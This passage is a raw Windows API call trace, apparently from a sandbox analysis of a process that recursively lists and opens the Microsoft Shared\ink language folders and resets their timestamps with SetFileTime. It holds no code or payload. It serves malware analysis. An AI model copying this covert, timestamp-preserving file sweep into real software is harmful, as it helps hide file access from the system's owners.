ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0143.243] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.243] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x990ba0 [0143.243] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x990ba0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x990ba0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.243] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x990ba0) returned 1 [0143.243] NtClose (Handle=0x19c) returned 0x0 [0143.243] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.243] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.243] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.243] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.243] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0143.244] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.245] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.245] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.245] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.245] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.245] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.245] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.245] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.245] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.245] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e490 [0143.245] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9901b0 [0143.245] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.245] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.245] GetLastError () returned 0x12 [0143.245] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.245] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.245] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.245] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.245] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.245] GetLastError () returned 0x12 [0143.245] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.245] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.246] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.246] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.246] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0143.246] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.246] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.248] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.248] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x990ba0 [0143.248] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x990ba0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x990ba0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.248] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x990ba0) returned 1 [0143.248] NtClose (Handle=0x198) returned 0x0 [0143.248] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.248] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.248] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.248] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.248] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.249] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.250] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.250] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.250] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.250] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.250] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.250] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.250] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.250] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.250] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e4b0 [0143.250] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9902b8 [0143.250] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.250] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.250] GetLastError () returned 0x12 [0143.250] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0143.250] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.250] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.250] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.250] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.250] GetLastError () returned 0x12 [0143.250] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.250] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.251] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.251] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.251] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0143.251] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.251] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0143.252] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.252] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x990ba0 [0143.252] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x990ba0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x990ba0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.252] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x990ba0) returned 1 [0143.252] NtClose (Handle=0x19c) returned 0x0 [0143.252] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.252] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.252] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.252] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.252] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0143.252] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.253] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.253] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.253] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.253] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.253] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.253] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.253] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.253] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.253] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e4d0 [0143.253] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9903c0 [0143.253] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.253] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.253] GetLastError () returned 0x12 [0143.253] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.254] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.254] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.254] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.254] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.254] GetLastError () returned 0x12 [0143.254] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.254] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.254] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.254] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.254] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0143.254] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0143.254] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0143.254] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.254] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.255] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.255] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x990ba0 [0143.255] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, 